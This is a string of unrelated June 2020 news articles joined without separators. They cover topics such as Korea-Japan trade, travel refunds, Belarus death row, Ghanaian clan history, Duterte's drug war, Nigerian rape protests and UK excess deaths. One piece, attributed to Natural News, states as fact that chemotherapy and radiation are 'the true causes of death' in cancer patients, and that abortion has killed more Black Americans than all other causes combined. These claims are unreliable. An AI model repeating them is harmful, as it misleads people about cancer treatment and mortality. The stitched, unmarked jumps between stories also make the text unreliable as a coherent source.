Now we call on Tokyo to make sincere efforts to ease, if not lift, its trade restrictions in order to defuse tensions with Seoul. It is wrong to weaponize trade in retaliation against the Korean court's decision on the wartime forced labor issue.



"An eye for an eye" cannot resolve the history-related dispute between the two countries. Fundamentally, Japan needs to reflect on its 1910-45 colonial rule of Korea and the atrocities and brutalities it committed against Koreans.



Finally we urge both Seoul and Tokyo to compromise over the thorny issues related to the fraught history. They should work together  not fight each other  to overcome the shameful history and move forward toward reconciliation, friendship and co-prosperity.




The Holiday Guru is always on hand to answer your questions.

This week issues tackled include claiming money back from collapsed firm Shearings and securing payouts for cancelled trips by aeroplane.

Q I have paid for a four-day holiday with Shearings, staying at one of its hotels. After lockdown began, it offered me either a voucher or the chance to re-book for another time. I chose a voucher. Now it has collapsed  how do I get my money back? Edward Perkin, via email.

The Holiday Guru explains how to claim refunds from collapsed firm Shearings

A Those with credit notes issued since the lockdown began can claim refunds. Follow the instructions under the Package holiday bookings section at shearings.com.

Q I was due to fly to India with Wildlife Tours on March 18, but the Indian Government suspended visas due to the coronavirus. The tour was cancelled, but Staysure, my insurer, will not pay out. Margaret Tabner, via email.

A Under the Package Travel Regulations you are due repayment from your tour operator within 14 days of cancellation. However, Wildlife Tours is an independent company that asks customers to take out insurance with travel disruption cover as it is not big enough to give refunds.

Travel insurance payouts have been a big issue during the coronavirus crisis. But the Holiday Guru can help

You did not pay by credit card, so cannot claim from your credit card company. In such circumstances, travel insurance usually kicks in. Staysure initially would not agree to a refund as it was a foreign government that affected the trip. However, it has changed its mind on appeal.

Q I booked a package deal to Spain departing June 24 with superescapes.co.uk and paid 503 upfront, with a balance of 327 due on May 1. I tried to call and go online to pay the balance so I would be covered for a refund under the Package Travel Regulations in the likely case of cancellation, but was unable to do so.

Tonya Bailey, via email.

A This is frustrating, as failure to pay a balance is effectively cancelling a trip, which would mean that youd have lost the 503. We contacted superescapes.co.uk, which said there had been a misunderstanding. It will contact you.

Q In March, I booked four plane tickets from London to Dhaka, Bangladesh, through a travel agent. Due to the current situation, I will not be able to travel. Am I due a full refund?

Muhammed Azim Rahman, via email.

A Yes, but you must wait for the flights to be officially cancelled. Under the Package Travel Regulations you are due a refund within 14 days of notification of cancellation.

WERE HERE TO HELP

If you need advice, the Holiday Guru is here to help. Send your questions to holidayplanner@dailymail.co.uk  and include contact details.
Lex Delles, Minister for Tourism and Small/Medium-sized Enterprises, held a press conference on Thursday morning concerning plans to help the tourism industry in Luxembourg.

Delles discussed details of the recovery plan to help the sector continue in spite of the pandemic.

Key parts of the plan revolve around a campaign to boost homegrown tourism in the Grand Duchy, fuelled by a 50 voucher scheme for residents and cross-border workers to encourage them to discover the country through staycations. Some 700,000 vouchers are expected to be issued to all over-16s in early July and will be valid at hotels, campsite, hostels and other accommodation.

The campaign will also aim to attract more visitors from neighbouring countries and the Netherlands, who can travel to Luxembourg by car or by train - travel options which will be more attractive to tourists in light of the coronavirus measures.

The Minister also discussed the government's new 3,000,000 tourism fund to help ailing businesses get back on their feet after being hit by the quarantine difficulties. The fund will primarily be aimed at organisations reliant on volunteers, as these cannot benefit from existing financial support schemes, and will assist them in maintaining crucial infrastructure in the sector.

The Ministry will also seek to offer support for companies seeking to make use of digitisation, whether for reservations, online ticketing, or increasing digital presence.

As well as supporting leisure tourism, the plan will aim to re-introduce business tourism, which has boomed in the Grand Duchy in recent years. Delles said they would aim to make use of digital resources such as video conferencing and live-streaming, while encouraging those in the business sector to return to Luxembourg through issuing safety labels similar to the "Safe to Serve" label in the food industry.
Greek Defense Minister Nikos Panagiotopoulos did not rule out the possibility of a military conflict with Turkey, noting that Greece is ready for any scenario and intends to protect its rights and borders by any means, GreekCityTimes reported.

We dont want to get there, but we want to make it clear that we will do whatever it takes to defend our sovereign rights to the fullest extent possible, Minister said on Star TV.

The statement came few hours after Turkish President Recep Tayyip Erdogan held a press conference in Ankara with PM of the National Accord Government Fayez Al Sarraj.

Erdogan said Turkey and Libya will continue to explore and drill oil in the Greek maritime space in the eastern Mediterranean.

Panagiotopoulos noted that Turkey is aggressive, but Greece can restrain this aggression with the power of the Armed Forces.

Turkeys behaviour lately is quite aggressive. I believe that the only way for Greece to deal with this behaviour, which generally has an increasing tendency to aggression, is on the one hand to exhaust all its diplomatic weapons and on the other hand to ensure an increase in the deterrent power of the Armed Forces.

When asked whether Greece was ready for a military solution, he confidently answered: Exactly! He said we are preparing for any eventuality. Of course, military involvement is possible in all cases. We do not want to go there, but we want to make it clear that we will do whatever it takes to defend our sovereign rights to the fullest extent possible.
Photo: (Photo : Photo by Jimmy Chan from Pexels)

Natalya Kosteva could not see her sons, who are in death row. Stanislaw, 19 years old, and Ilya, 21 years old, were sentenced to death in Belarus for their neighbor's murder. Belarus is the only country in Europe with capital punishment.

Aside from the thought that her children will soon die, Natalya is left with more significant grief that since her sons' arrest, she has not seen both of them.

READ ALSO: 6 and 7-year-old Brothers Die in Crash While Driving Family Car

The brothers' sentencing

In April 2019, Stanislaw and Ilya killed their sister's neighbor, who is a teacher. Records show that the brothers were angry with the teacher for reporting their sister Hannah to authorities for not caring for her four children.

The two did not only kill the neighbor; they also set the teacher's house on fire to conceal the crime.

After the trial, the Belarusian court sentenced the brothers to death.

Stanislaw and Ilya are the last in Belarus' death row.

Mother unable to see sons in death row

Natalya has been staying in Minsk even before the initial arrest of her sons. She is working there to pay for the debt piled up due to Stanislaw and Ilya's stay in a state-run children's home.

READ ALSO: 6 Amusing Facts About Sibling Relationships That Parents Should Know

The brothers were put in a children's home when they were 14 and 16 years old. They were taken away for fighting and skipping school.

The state takes one-third of Natalya's salary for the $4,000 that she still owes. This debt will take Natalya eight more years to pay. That is even after her children, Stanislaw and Ilya, are executed.

Even if Natalya would want to take some day off, she is not allowed to leave Minsk until she has paid the money in full.

Since the arrest of her sons, the grieving mother could only communicate with them through letters.

The execution: punishment for the family, not the brothers

The execution of Stanislaw and Ilya could take place anytime.

The death of her brothers is already worrisome for Hannah, the oldest sister of Stanislaw and Ilya. However, not knowing when their execution would take place is even more difficult for their entire family.

In Belarus, families are not allowed to know when and where the execution will be. Also, even if Natalya will be allowed to leave Minsk, she will not know where to pay her respects because the Belarusian authorities would not disclose where the bodies would be buried.

In an interview by the Current Time in January, Hannah and Natalya shared how the verdict affected their lives.

The family has been receiving threats from strangers on social media. Hannah also had to leave the house where they grew up because of the dangers. Natalya, on the other hand, is not only worried about herself. She is also concerned about her two other children and her grandchildren.

READ ALSO: 50 Years After: Brother and Sister Finally Reunited
Chandigarh, June 5 : Security agencies were put on alert in Punjab and vigil increased in and around the holy city of Amritsar, around 250 km from state capital Chandigarh, ahead of the 36th anniversary of Operation Blue Star on Saturday.

Operation Blue Star was carried out by the Indian Army at the Darbar Sahib complex between June 1 and 8, 1984.

Despite coronavirus restrictions, Punjab Police, paramilitary forces and intelligence personnel have been positioned at sensitive places across Amritsar, particularly in the congested walled city area where the Darbar Sahib, popularly known as Golden Temple, complex is located.

Every year, prayers are held at the Akal Takht, the highest temporal seat of the Sikh religion, by radical Sikh organisation Dal Khalsa to mark the anniversary of the Army operation carried out to flush out heavily-armed terrorists from inside the complex.

As for threats to peace due to observance of Operation Blue Star anniversary, Chief Minister Amarinder Singh said on Friday that nobody would be allowed to disrupt the peace of Punjab, which had lost 35,000 lives during the dark days of terror.

"No Punjabi wants this," he said, adding that it was only a handful of anti-India elements that continued to try and provoke people in the name of Khalistan every now and then.

The banned US-based Sikhs For Justice had given a call to the Sikhs in Pakistan to reach Kartarpur Sahib in Narowal district on June 6 and perform 'ardas' (Sikh prayer) there as the Punjab government has allegedly "deployed forces to stop the Sikhs in (Indian) Punjab".
This COVID-19 quarantine can do a lot of things to you. It has turned some of us into amateur historians, delving into and trying to understand the past of many of Ghanas ethnic groups  Anlos, Gas, Krepis, Akwamus, Adas, Asantes etc.  and how it relates to our heritage.

In 1972, when I was 10 years old and living temporarily with my grandmother in a town called Kwamikrom, I started to have strange nightmares, from which I would wake up screaming. My grandmother, very concerned, would shake me awake and ask me what the matter was, but I was never able to tell her exactly. One of the nightmares involved a stool, the local Ghanaian stool on which chiefs sat, chasing me. After some inquiries, my father was called down from Koforidua, where he had been posted as a teacher. He came and took me to our hometown Alakple, in the Volta Region. There, after some divination, my father was informed that I was the reincarnation of one of my great great great grandfathers called TETTEY. After some rituals were performed and some reincarnation beads placed around my wrist, I returned to Kwamikrom and the nightmares ceased. My full name, which is known only to my close family, is John Kwabla Gameli Tettey Akpalu.

Now, Tettey is a Ga and also a Ga-Adangbe name. So how did it come about that an Anlo man is called Tettey? Also my paternal grandmothers first name is Ayelevi  meaning small Ayele. Now, Ayele is a Ga or Ga-Adangbe name. Again, how come an Anlo woman is called by a Ga or Ga-Adangbe name? I never cared for or thought about these questions until three years ago when I met the Larkpleh people of Prampram. They had come to a house-warming and birthday party we had organized at Prampram. During the celebrations, they informed those gathered that their people had settled at Anlo and brought their god, called Nyigbla with them. I did not know what to make of it and a few of my schoolmates in attendance were derisive. My recent research has however, confirmed their story.

From about 1650 to 1710, the Kingdom of Akwamu, not daring to mess with the powerful Kingdoms of Asante and Denkyira to the north, decided to expand south through conquest. In 1677, their King Ansa Sasraku II, aided by the Agonas and Gomoas invaded Accra and captured King Okai Koi and his eldest son. His younger son, Ofori escaped and sought the protection of the Danes at Christianborg Castle. With the help of the Danes, King Ofori was able to keep King Ansa Sasraku and his army at bay for two years. In 1679 however, the Danes withdrew and handed over the castle to the Portuguese, who pledged to remain neutral. King Sasraku saw his chance and attacked King Oforis state, then known as Ladoku. Ladoku was defeated and brought under Akwamus jurisdiction. Some of the inhabitants of Ladoku fled the attack, crossed the Volta River and settled amongst the Anlos and Krepis. These people were from the present traditional areas of Ada, Kpone, Ningo, Prampram (then called Gbugbla), Osudoku and Shai.

Some of the Ladoku refugees settled at Anloga, the traditional capital of the Anlos. One refugee, Tay Tsrui came from Prampram. His son, Aduadui, founded the Dzevi Clan of Anlo  to which I belong. The Dzevi clan is a branch of the Adangmebiawe clan of Ada. Dze in Ewe, the language of the Anlo people means salt; and Viawo means people. So I used to think that Dzeviawo - the clan name- meant Salt-People. Research shows that I was mistaken. Dze is rather an Adangbe word meaning left or breakaway. So Dzeviawo means the people who left or broke away (from Ladoku) to settle in Anlo. In order to distinguish themselves from the Anlo people, they decided to name their children (i.e. children born to the Dzevi clan) in the same manner as the general Adangbe people  hence my name TETTEY, which is the name given to a first born male of the Dzevi clan.

The Ladoku people of Prampram call themselves the Larkpleh people. Note the similarity to my hometown Alakple. The Prampram people did not come to Anlo empty-handed. They brought their god, Nyigbla, whose shrine is now at Alakple and is the war god of the Anlos. The elders of Anlo, did not initially care for Nyigbla and its followers and considered the god a foreign god and its followers a nuisance. The general population however, was in awe of Nyigbla and its adherents. Things came to a head in 1769, when the political and religious leaders of Anlo felt that the Nyigbla followers were becoming too popular and were undermining their authority. As happened in Chinua Achebes novel Things Fall Apart when the Ndichie or Elders of Mbanta gave the Christians The Evil Forest to prove their spiritual powers, the Anlo leaders forced the Nyigbla followers to build their shrine in a forest grove called Gbakute (later called Nyikove or Nyiko forest). The grove was traditionally used by the Anlos to execute criminals and it was believed that the place was haunted by the ghosts of the executed and by evil spirits which the Nyigbla adherents could not overcome. The Nyigbla followers however, thrived and the grove then became known as Nigblave or Nyigbla Forest.

Unable to force the Nyigbla god and its adherents out of Anlo, and noting the popularity of the god amongst the people, the Anlo leaders made a U-turn and accepted the Nyigbla Priest as a member of the Anlo governing council. Nyigbla then became recognized as the most powerful god in Anlo and a revelation of the Supreme Being  Mawu (God). Nyigbla became the principal god of the Anlos and is recognized as their war god leading them to victory in wars and protecting them from their enemies.

The Nyigblave was however, destroyed in 1953 by the colonial government following agitations and riots against a newly imposed local development head tax of two shillings. Twenty-six houses were burnt down, and a newly build secondary school - Zion College of West Africa  was also torched. An Anlo chief, Togbui Adjorlolo of Atorkor, who supported the tax, was murdered. Supporters of the tax were kidnapped and taken to the Nyigblave to be dealt with. To quell the riots, the colonial government ordered the destruction of the Nyigblave and the building of a police station on the site. The Nyigbla shrine was moved to a new location but that again made way for a new school, the Anlo Secondary School.

By John K. Akpalu, Esq. (New York)
Indias Charge d' Affaires harassed by ISI in Islamabad

India

oi-Vicky Nanjappa

New Delhi, June 05: India's Charge d' Affaires, Gaurav Ahluwalia was chased in the Pakistan capital, Islamabad by a motorcycle-borne person suspected to be from the ISI.

This incident comes just days after India declared two Pakistan officials in the High Commission of Delhi as persona non grata after they were caught spying.

Sources tell OneIndia that this is clearly the handiwork of the ISI and is meant to avenge India's actions against its officials, who were caught trying to gather sensitive information about the movement of Indian troops.

Pak officials planned to blackmail Railway staff into giving information about movement of troops

India will now lodge a strong protest with Pakistan through diplomatic channels. The matter is being taken up with Islamabad, the source cited above said. The official also said that this action amounts to harassment and is aimed at obstructing the normal functioning of our officials. The officer also said that Pakistan is trying to take revenge and is looking to expel Indian officials from Islamabad. We are prepared for such action will react accordingly the officer also noted.

Centre tightens purse, no new spending or schemes for a year amid coronavirus | Oneindia News

After India declared two Pakistani officials as persona non grata, Pakistan had accused India of torturing its officials. The charge was however rubbished by India. The officials had been caught red handed, officials say, but they were not subject to any torture.

Pakistan has just been making a ground, so that it can harass Indian officials in Islamabad.

India, it may be recalled had issued a demarche after the Pakistani officials were caught red handed trying to gather information against the Indian troops. India had investigated the matter and then asked the two officials to leave the country.
ELKO  A new fire station in Lamoille will become a reality after Elko County Commissioners accepted a bid for the facility, but only after expressing surprise at the high costs and postponing action at their May 20 meeting.

The commissioners on June 3 accepted the low bid of $1.88 million from Schell Creek Construction in action. Ormaza Construction bid almost $1.96 million, and Michael Clay Corp. bid $2.03 million.

The earlier estimated cost for the new, 6,957 square-foot station was $1.3 million.

We didnt expect the costs would be that high, Elko County Manager Rob Stokes said in a June 2 phone interview, but he said the county has reviewed the bids, and they look reasonable.

Commissioners said they hope there will be chances to reduce the construction costs and a recent donation of $100,000 from Nevada Gold Mines will help. Sally Searle of Maggie Creek Ranch donated $10,000.

Joe de Braga, secretary and treasurer of the Lamoille Volunteer Fire Department, told commissioners the NGM donation puts us way ahead, and the site donated by John Robert Sustacha last year is the ideal location on Lamoille Highway for the station.

Elko Countys infrastructure fund established for fire departments will be used for the bulk of the construction costs.

The new facility will replace the current station in an old garage adjacent to the Lamoille School House. The current station only holds a fire truck and a water tender, while the volunteers have five pieces of fire-fighting equipment.

De Braga told the Elko Daily Free Press in mid-May that the other three pieces of equipment are housed at ranches and do not meet requirements that they be in a heated building. He also said then that the county will providing the department a new wildland fire truck and water tender next year, and the new vehicles and new building should reduce insurance costs.

Architect Pat Walsh of ZGA Architects and Planners Chartered wrote the county on May 28 that he recommended acceptance of the Schell Creek bid as the low bidder.

Even though the low bid was higher than the architect/engineer estimate, we believe it is fair to assume that these bids represent the true construction costs, he said.

Commissioners showed irritation at their May 20 meeting with the Idaho-based architect because there were not any supporting materials available at that meeting on which to base a decision.

I apologize for what happened at the last meeting, said Commissioner Rex Steninger, who is liaison to the fire department along with Commissioner Jon Karr. I dont blame you guys at all for tabling it.

He said that since the last meeting, the firehouse plans are on the website and the donation from NGM is putting the fire department in a better position now, so lets try again.

Commissioner Delmo Andreozzi said he has a better understanding of the bids now and hopes costs can be tightened later. He said the site development for the Lamoille station is significant, and he didnt see that at first. Work required will include paving, a water tank, a new septic system and more.

Commissioner Cliff Eklund said earlier in the June 3 meeting that the county needs to support local businesses, and he brought up criticism at the May 20 meeting about hiring an out-of-state architect for the Lamoille project rather hiring locally.

Steninger said the Idaho architect was chosen because the local architect had a county project, and I didnt feel it would look good to give all the business to the niece of a sitting county commissioner.

He was referring to Elko architect Catherine Wines, who is a niece of Chairman Demar Dahl.

The June 3 county meeting was the first since the coronavirus restrictions where all the commissioners were present, and up to 50 people could attend the meeting, rather than wait outside until their turn to talk.

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The Bill & Melinda Gates Foundation on Thursday announced a five-year $1.6 billion funding pledge to Gavi, the Vaccine Alliance, to deliver lifesaving vaccines to the world's poorest countries.



The commitment was announced at the Global Vaccine Summit 2020, hosted by British Prime Minister Boris Johnson.

According to the summit, the funding will help the Alliance reach an additional 300 million children in the world's most vulnerable communities and save up to eight million lives, bringing the total number of children immunized with Gavi's support to more than one billion since its inception in 2000.









In addition to supporting the continuation of routine immunization services during the current COVID-19 crisis, Gavi will play a vital role in efforts to end the pandemic, leveraging its two decades of experience in vaccine delivery to deploy potential COVID-19 vaccines to low income countries once they become available.



Melinda Gates, co-chair of the Gates Foundation, said, "Not many people outside the global health sector have heard about Gavi, but over the past 20 years, it has transformed the way the world invests in and protects the health of its children."

"If the current pandemic has reminded us of anything, it's the importance of vaccinating against deadly diseases. The pledges that leaders are making today will help Gavi save even more lives," she said.

Working closely with developing country governments, vaccine suppliers, donors, and other partners around the world, Gavi has achieved extraordinary results.

Yet, despite this unprecedented progress, one in ten children still did not receive basic vaccines in 2018. In addition, as COVID-19 disrupts health systems, supply chains, and the ability of health workers to safely reach communities, millions more are at risk of missing out on protection against vaccine-preventable diseases.

Bill Gates, co-chair of the Gates Foundation, said, "To beat the COVID-19 pandemic, the world needs more than breakthrough science. It needs breakthrough generosity. And that's what we're seeing today as leaders across the public and private sectors are stepping up to support Gavi."

"When COVID-19 vaccines are ready, this funding and global coordination will ensure that people all over the world will be able to access them," he said.

According to a press release, the Gates Foundation has supported Gavi since its founding more than two decades ago. In that time, Gavi has immunized more than 750 million children, saved 13 million lives, and cut child mortality in half in supported countries.

Ngozi Okonjo-Iweala, chair of the Gavi Board, said, "As we enter one of the toughest periods in our history, with the COVID-19 pandemic disrupting vaccine programmes across the globe and causing huge economic damage, this pledge will play a vital role in supporting countries' efforts to prevent the resurgence of other deadly, vaccine-preventable diseases."




(Natural News) As hordes of angry protesters, violent rioters, and careless looters tear up Americas cities as a show of support and solidarity for black people, not a single social justice warrior anywhere is addressing one of the biggest killers of black people in America today: cancer.

According to the American Cancer Society, African Americans have the highest death rate and shortest survival of any racial or ethnic group in the U.S. for most cancers. In 2019 alone, 73,030 black people reportedly died from cancer, while another 202,260 black people were newly diagnosed with cancer.

These are pretty big numbers for a population group that represents just under 14 percent of the total American population. And it is even more alarming when considering the fact that health-destroying cancer treatments like chemotherapy and radiation are often the true causes of death in cancer patients.

While the American Cancer Society does not reveal what it believes to be the underlying cause behind why more black people are dying, and at faster rates, from cancer compared to other groups, we suspect that it might have to do with what types of treatments they are receiving.

Though there is a lack of concrete data to prove it at this point, the possibility exists that black people are more often given standard slash and burn treatments because this is what the system offers as a default. This is especially true for patients who are covered with low-income, government-provided insurance plans.

Another factor, and one that we have brought up before, is a lack of understanding within much of the black community about the importance of nutrition and supplementation. Vitamin D, for instance, is something that a lot of black people should be supplementing with because their dark skin color prevents them from receiving adequate amounts of it from natural exposure to sunlight.

Rioting will only make black areas even bigger food deserts, while abortion takes black lives from another angle

For years, leftists have complained that many black neighborhoods are food deserts, meaning there is a lack of grocery stores and farmers markets that sell healthy food in these areas. As a result, many black people are stuck eating fast food or junk food from their local convenience stores, which is a tragedy for their health.

Various solutions have been presented, but what good are any of these when black people are now destroying their own neighborhoods and ransacking businesses to protest perceived racial injustices? Rioting, looting and destroying will only exacerbate the problem of food deserts by driving out the very businesses that exist to help poorer black people improve their economic standing while maintaining access to healthy food.

And let us not forget about abortion, which targets black people to a far greater degree than any other racial group. Black neighborhoods are littered with abortion clinics, which claim more black lives than law enforcement ever could.

Statistics show that abortion has claimed the lives of more black Americans than any other cause of death combined since 1973. In the United States specifically, the abortion rate for black women is four times that of white women, with more than one-third of all abortions being performed on unborn black babies.

This is a holocaust of unspeakable proportions, and one that never gets mentioned in the fight for racial equality. One black man dies during a questionable incident and the entire country erupts into mass chaos. But tens of thousands of black people die from cancer and abortion and almost nobody seems to care. Does this make any sense to you?

To keep up with the latest news about the ongoing protests and riots, be sure to check out CivilWar.news.

Sources for this article include:

Cancer.org

NaturalNews.com

NaturalNews.com

NaturalNews.com
Three men returning from Russia are announced to recover from Covid-19 at Hanoi's National Hospital for Tropical Diseases, June 5, 2020. Photo by VnExpress/Chi Le.

Five Vietnamese who contracted the novel coronavirus in Russia have recovered, decreasing the Vietnam's number of active cases to 21.

Three patients, aged 25, 29 and 30, were admitted to the National Hospital for Tropical Diseases in Hanoi on May 18. They were announced Covid-19 free on Friday morning after each tested negative twice.

Two others were treated at the Tropical Diseases Hospital of the nearby Hai Duong Province.

Together, they returned to Vietnam on May 13 via Vietnam Airlines flight VN0062, a repatriation initiative organized by the government. A total 34 people on the flight were later found positive for the coronavirus, including two male attendants. Earlier, 12 infected people from the flight have recovered.

Doctor Tran Hai Ninh of the Hanoi hospital said the three patients had suffered damage to their lungs but did not experience breathing difficulties or respiratory failure.

One had to use an oxygen mask during treatment, though his condition did not worsen.

The five will remain under monitor at the hospitals for 14 more days.

The National Hospital for Tropical Diseases now has 12 Covid-19 patients left while the Hai Duong hospital has one left, a one-year-old boy on the same flight.

Nationwide, 21 are in still hospitals for the disease.

Vietnam has recorded 328 cases of Covid-19, as last updated on the morning of May 30. Aside from those active, the rest have all recovered.

Friday morning marked day 50 without Vietnam recording any community transmission.

The countrys most seriously ill Covid-19 patient, a British pilot for national carrier Vietnam Airlines, has regained 58 percent in lung function, compared to 40 percent a week ago and just 10 percent three weeks prior.

"Patient 91," as he was designated, was disconnected from the extracorporeal membrane oxygenation (ECMO), a life support system on Wednesday after 57 days, following signs of recovery. Yet his condition remains critical due to lung infection.
Israeli Ambassador to Washington Ron Dermer leveled scathing criticism at The New York Times on Friday over an article pointing out that the Israel Defense Forces research and development efforts, which have proven crucial in Israels battle against the coronavirus, are predominately dedicated to devising ways to counter the Jewish states enemies.

The article, Israeli Armys Idea Lab Aims at a New Target: Saving Lives, which was published on Thursday, states that The Israeli Defense Ministrys research-and-development arm is best known for pioneering cutting-edge way...
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Linkedin News Desk (Reuters) Manila, Philippines  Fri, June 5, 2020 16:30 595 fc6853813033f564188675f8bdc758f4 2 SE Asia Philippines,Rodrigo-Duterte,Duterte-style,war-on-drugs,drug-dealer,drug-network,drug-policy,drug-raids Free

Philippine President Rodrigo Duterte renewed on Friday a threat to kill drug dealers after police seized 756 kg of methamphetamines, a haul he said proved the Southeast Asian country had become a transhipment point for narcotics.

The crystal methamphetamine, with a Philippine market value that police put at 5.1 billion pesos ($102.22 million), was one of the biggest seizures since Duterte unleashed his bloody war on drugs, which has defined his presidency, in 2016.

"If you destroy my country distributing 5.1 billion pesos worth of shabu ... I will kill you," Duterte said in recorded address, referring to the drugs.

He did not say where the drugs were believed to have come from but said the Philippines was a transhipment center for Mexican drugs gangsters.

Duterte also hurled insults at human rights groups for criticizing his anti-narcotics campaign.

The United Nations said in a report on Thursday tens of thousands of people in the Philippines may have been killed in the war on drugs amid "near impunity" for police and incitement to violence by top officials.

But government data put the number of suspected drug dealers and users killed in police anti-narcotics operations since July 2016 at 5,600.

Rights group have said the police summarily executed suspects. Police have denied that saying they have acted in self defense when suspects resisted arrest.

Duterte's office dismissed the UN report as "rehashed claims" and the accusation of impunity as unfounded.
Demonstrators in Abuja demand justice after a series of high-profile rape cases sparked outrage in the country.

Human rights campaigners have rallied in Nigerias capital to raise awareness about violence against women after a series of high-profile rape cases sparked an outcry in the country.

More than 200 protesters marched around police headquarters in Abuja, chanting slogans and holding banners that read Justice for all Nigerian girls and women and No means no.

It was one of many activities planned by campaigners to call attention to the issue and urge politicians to allocate more funds to tackle sexual violence and ensure police independence.

The latest outpouring of anger has been unleashed by the cases of three women and girls who were killed or raped in incidents activists say showcase the widespread sexual violence in Nigeria.

Rape is NEVER the fault of the victim. We cannot continue to allow a culture that blames victims before offenders.

Educate your neighbours, friends, colleagues & family members. We are the vehicles for change#StopBlamingVictims#JusticeForUwa#JusticeForJennifer#JusticeForTina pic.twitter.com/WB2WLnuWY4  Tremendoc Limited (@mytremendoc) June 2, 2020

#JusticeForUwa has been one of the hashtags trending on social media in the last week after Vera Uwaila Omosuwa, a 22-year-old student, died two days after she was reportedly raped in a church in the southern city of Benin.

Children are dying, women are dying, enough is enough, Dorothy Njemanze, one of the protest organisers, was quoted as saying by Reuters news agency.

Njemanze said she and other campaigners were watching every step of everything they [politicians] say and do on sexual based violence.

Nigerias most senior policeman has ordered the immediate deployment of additional investigators to specialist gender violence desks, a police statement said on Tuesday.

This is to strengthen and enhance the capacity of the units to respond to increasing challenges of sexual assaults and domestic/gender-based violence linked with the outbreak of the COVID-19 pandemic and other social ills within the country, it added.





Two other recent cases have also prompted people to express their anger using the #JusticeForJennifer and #JusticeForTina rallying cries.

In April, an 18-year-old known only as Jennifer was allegedly attacked and raped by a gang of five men in Kaduna, a city in northern Nigeria.

The case gained attention only after her relatives  scared the accused would escape justice  released a video online of family comforting the traumatised teen that was shared tens of thousands of times.

Now, local police say two men have been arrested for the rape and three other suspects are being sought.

Meanwhile, a 16-year-old high school student called Tina Ezekwe was shot and killed after police opened fire at a bus stop in Lagos, the countrys biggest city, during a nighttime coronavirus curfew.

After an outcry online, the police force said two officers had been arrested and were facing disciplinary action and possible prosecution.
A County Derry woman is aiming to cycle 100km in her garage this weekend to raise money for Cancer Focus Northern Ireland.

Emma McCann, from Moneymore, decided to take on the challenge after hearing Cancer Focus had launched an emergency appeal for fundraising during the Covid-19 crisis.

I decided to go back to basics from when I started fundraising about ten years ago, and the first think I did was a static cycle, she said.

I thought it was the most obvious choice for what I could do to raise money, raise awareness and be safe.

The challenge itself will take Emma almost five hours, but she is keen to stress how much harder it will be for people trying to access Cancer services during the pandemic.

Roisin Foster, Chief Executive of Cancer Focus NI, said Covid-19 has exacerbated the difficulties for those receiving treatment for cancer.

Our hearts go out to people who are trying to cope with the anxiety of coronavirus on top of dealing with a cancer diagnosis and the impact of treatment, she said.

We desperately want to be able to support people facing cancer both now and in future but we are facing a crisis unlike any other we have ever known in our 50-year history.

Our income has plummeted to a critically low level and we are worried that we will not be able to keep afloat.

Your donations are vital to us and every penny raised stays in Northern Ireland. Your support at this difficult time is extremely valuable and greatly appreciated. We cant do it without you.

Emmas static cycle will take place on Saturday June 6, starting at 10.00am, with other cyclists encouraged to join in via Zoom on the day.

Details of how to donate can be found on Emmas Just Giving page.
On May 20, 2020, the U.S. District Court for the Southern District of Indiana entered a final judgment against Steele Financial, Inc., an Indianapolis-based investment advisory firm, and its sole owner, Tamara Steele. In a separate administrative proceeding, the SEC also barred Steele from the securities industry.

The SEC's complaint, filed on September 14, 2018, alleged that, between December 2012 and October 2016, Steele Financial and Steele sold to advisory clients and other investors more than $15 million of the securities of Behavioral Recognition Systems, Inc. (BRS), a private company the SEC previously charged with fraud. Steele and Steele Financial allegedly targeted their own advisory clients, selling approximately $13 million of BRS securities to more than 120 clients, without disclosing that they were receiving commissions from BRS. The complaint further alleged that Steele and Steele Financial created false invoices and took other steps to conceal their involvement selling BRS securities.

The final judgment permanently enjoins Steele and Steele Financial from violating the antifraud provisions of Sections 206(1), 206(2), and 206(3) of the Investment Advisers Act of 1940, Section 17(a) of the Securities Act of 1933, and Section 10(b) of the Securities Exchange Act of 1934 and Rule 10b-5 thereunder. In addition, the final judgment orders Steele to disgorge $845,760, which will be deemed satisfied by her return of 1,358,160 shares of BRS common stock to BRS's Bankruptcy Trustee, and to pay a $75,000 civil penalty. Steele has also agreed to comply with an undertaking to cause Steele Financial to cease operations and terminate the corporation within 90 days of the entry of Final Judgment.

In a related administrative proceeding, the SEC today issued an order permanently barring Steele from association with any broker, dealer, investment adviser, municipal securities dealer, municipal advisor, transfer agent, or nationally recognized statistical rating organization, as well as permanently barring Steele from participating in any offering of penny stock. Steele consented to the District Court's and the SEC's orders without admitting or denying the allegations in the complaint or the findings of the SEC's order.
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The number of people dying in care homes soared by 61 per cent during March and April as the Covid-19 outbreak gripped England and Wales, government data revealed today.

Office for National Statistics (ONS) figures showed hospital deaths fell by 21 per cent between March 7 and May 1, while they rose 43 per cent in private homes.

In a first-of-its-kind report, statisticians said undiagnosed cases were a 'likely explanation' for many of the 13,000 excess deaths not directly linked to Covid-19.

But it also acknowledged that thousands of people may have avoided getting medical help out of fear of catching the virus or adding extra strain to an already over-stretched NHS.

Less NHS hospital capacity and delayed treatment may also have been to blame, as well as higher levels of stress as a result of the unprecedented lockdown imposed on March 23, the ONS said.

The biggest surge in 'excess deaths' - those that happen above the average number for the time of year - was seen in dementia patients and the elderly.

Head of health analysis at the ONS, Nick Stripe, said on Twitter: 'Dementia increases are so sharp it's implausible that they are unrelated to Covid-19.'

If the excess deaths are related to the coronavirus it would mean the true death toll of the UK's epidemic - which the Department of Health yesterday put at 39,904 - is significantly higher than data currently shows.

ONS data shows a large spike in the number of people dying in care homes in April, the peak of Britain's coronavirus crisis, as thousands fewer people died in hospitals during that time

More than a quarter of all excess deaths recorded in March and April were not officially linked to Covid-19, statisticians found, but they suspect many of those were simply undiagnosed cases

The report calculated that, between March 7 and May 1, 46,380 more people died than average. Some 12,900 of them (27.8 per cent) were not direct victims of Covid-19.

That period, when NHS hospitals were urged to turf out as many patients as they could who didn't need urgent treatment, saw a 20.9 per cent drop in hospital deaths, with 8,000 fewer recorded.

But the number of people dying in care homes soared by a massive 60.5 per cent - an increase of 11,000 deaths - and in private homes it rose by 42.6 per cent - more than 8,000 extra fatalities.

The ONS said, although many of the deaths among elderly people were not attributed to Covid-19, large numbers of undiagnosed cases of the disease were a 'likely explanation'.

There were 5,404 more deaths than expected among dementia and Alzheimer's disease patients - a rise of 52 per cent compared to average.

